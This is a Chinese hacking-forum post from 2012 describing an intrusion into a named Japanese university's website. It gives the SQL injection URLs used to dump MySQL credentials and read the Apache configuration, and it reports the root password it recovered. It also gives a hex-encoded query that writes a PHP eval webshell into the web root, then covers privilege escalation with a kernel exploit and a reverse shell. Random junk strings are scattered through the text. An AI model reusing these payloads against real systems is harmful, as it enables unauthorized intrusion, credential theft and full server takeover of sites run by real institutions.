找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2445|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
: @8 v- O" F, v( B/ Z: @. j7 U1 j) v5 _$ C) a
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
1 N) r# J+ [: k+ p' ~9 G然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:* l' \1 l) v+ ~3 {, H% C6 K

% k- q  z- d, Hhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user! `- N. a+ p) u- \2 C' O$ i

# d5 D; `0 X; |& U6 M % X0 Q  v. y2 Z: F

+ Z; b  [/ d/ z) A& q//@@datadir为数据库文件路径
( ?% `6 t) y( G% t' _- K $ g) l( f  v8 [2 a
# h5 Z2 L6 d, s; I  t8 `1 b2 _
//load_file读取网站容器apache的配置文件 % c. ~. S9 W( }" l+ b- k
; j3 I) B3 d, m, S  z% y; w

* `, N% h- \& n# _9 [  g5 M2 a. L//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
; h, {) L' O1 Y复制代码, Y: \& j' L8 [& e
' D2 g% S- }1 g) S* i5 g7 i- X
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
/ p) O$ {, [7 q
- ?' g: O& J# u1 T% e$ u: p而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。7 {" ]) a+ e& E( L3 f/ f' F' X6 j2 k
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)1 Q& Q  t$ V  x; I  f+ a
# L5 }; h) z" \9 L( L" u( @
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。4 o8 V& E) r7 C
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html9 l! b  H+ E5 ?1 R: x3 M" a

# R+ j8 ?9 a- B/ F既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
" Z: d. L( q+ `. c( }+ ]虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。% y, y. b7 b2 A. O
直接写一句话:( R! R3 s$ c1 B. N  c; l

: ]+ |, e4 P8 y7 A% U" y! Chttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
& b  S3 n' c2 j) s1 d& \
5 A$ o& t6 n, D; Z3 v, A 6 W% S( O6 W- k7 ?6 h. C: e

4 b2 O* S  d5 y8 Y  b  q//最后的#是为了闭合前面的语句 5 M3 r& i/ }" ^5 I

: ]! L: Y) f: i' y7 Q
, D+ X5 }' ^  Q/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E * M3 v4 P/ A: C" K9 D. O
, W% K' D1 F1 j' u9 V" O7 a4 r8 ]

: n9 b9 U/ D& a  Q3 h6 w为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ , ~+ c: T, b9 c& ]
: B  `( C0 i' T, P% A  O# H8 w
1 ^! h0 U# @; c6 T) ?6 k' }! ?
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 . r; G* Q) [, y) P& ?( B3 S4 t

8 H( n* w) t5 [
: Z! j) w- ^+ `7 Q, U' g/ r% Z//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 , l) L; x) h2 I3 e
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” / O7 B3 m, F1 Y; r
复制代码# X$ U& f! [4 ]6 ]
5 p1 O- _! t( Q# p
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
! W2 P( u5 ~; f通过上述注入语句,我们就得到了一句话木马:* B# z) H1 n2 V9 A+ J
! g; r3 i+ G6 U# G

1 A* m6 S7 I0 _8 e# u, I7 ~( {2 p8 E6 F; o, F4 Q

3 z0 Z0 |6 M( a+ E4 P. K; ^+ a# _
http://www.doshisha.ac.jp/english/engnews_img/aa.php
3 y8 G8 V0 I( K& A5 A7 ^复制代码
1 o, I- h; v8 K6 b- R9 }+ o' R  {! n2 c5 H7 v
用菜刀连接,密码是cmd,如图所示:
( n4 w0 I  t$ I; L6 y, ^9 n" H& O+ Y9 ^1 E然后在命令提示行里看了一下,现在的权限是:
& s" ]) R3 {/ X8 v6 G2 C! B: K+ f7 V- `3 D7 m0 N6 Y1 i3 s
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
* j4 Y1 M- f- m% H) M6 I  U% o& h好在赋权给这个文件夹不需要root,直接执行赋权语句:
- S# b9 |/ B* s+ B9 b+ G
6 K3 `" l' C- O3 ~ 5 y2 l* j/ Q. d2 |) p7 s0 e

; Q, A0 [# Z2 m* ]0 I, E
3 Q, z$ \3 W& ?9 A6 B
/ ^2 K+ `' G% I( f, L; |chmod +x /tmp/ * S) }' r1 a0 m9 u# h6 e: j$ |8 Q6 I
复制代码
, b/ @' c- Z; k$ c1 ^; h
9 A+ V: t; l8 C; A: D- [在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行% H& [# V$ U& _. `. b( r& V, _
然后就查了一下内核版本:% _0 S; N3 _8 }

9 Q$ J9 R2 [+ [- E+ Y5 [ 8 P- T9 E: f& n2 G( I8 f: r
" q. m# B0 t" J# L
0 v7 g) B7 f3 V
& r; C! h$ @: {! r
uname-a ' k. k. {1 I0 W$ k" @. y. B7 a
- j4 L& S# {& B, u! s1 L- [

/ I& P' n% b  F# b+ M//其实lsb_release -a
) f9 _0 L5 s, R5 }! c9 E复制代码
; d1 T2 _. r6 |  P. p; ]* k% Q! C( e1 a2 R) j$ s8 q, @+ _
如图所示:
+ D0 @9 y5 [  G0 O# W5 |# r& Z4 o* Y8 W1 S% _
内核版本:linux mainz1 2.6.28-194.e15
5 A9 b: ~/ R& \. A. t; ^系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)8 f8 p) G; `9 k% i" u* s
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
" e3 m! a# Y& h# _' H
. d, u' r0 [# @: q2 }, Y然后给予执行权限5 A  R6 c! ~1 E) N& @- W, R, |( ~/ D& `
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
4 A, H0 i6 o1 @0 r3 z. v+ T7 {" f+ B. Y! q3 j
, a7 F, B/ M  `0 D  o  ~; _
- M* I. K" o# l# U& M
& s1 W/ E( Z. y* p

  ~# y/ B* r7 k  g, Pchmod +x /tmp/2.6.18-194 & z5 h; o: D- r0 o
复制代码 然后直接执行!~
: C# [: q$ o0 Q5 g9 L5 z( E( t3 M" h+ M4 d1 n5 k, [
总结:+ M, t/ g! ~! E
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
' Y, H% y2 T7 b5 I( p8 U2 H# r) d" S提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
0 T7 F3 A2 k3 g4 p1 @5 |6 T- O: r. z+ e* K$ I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表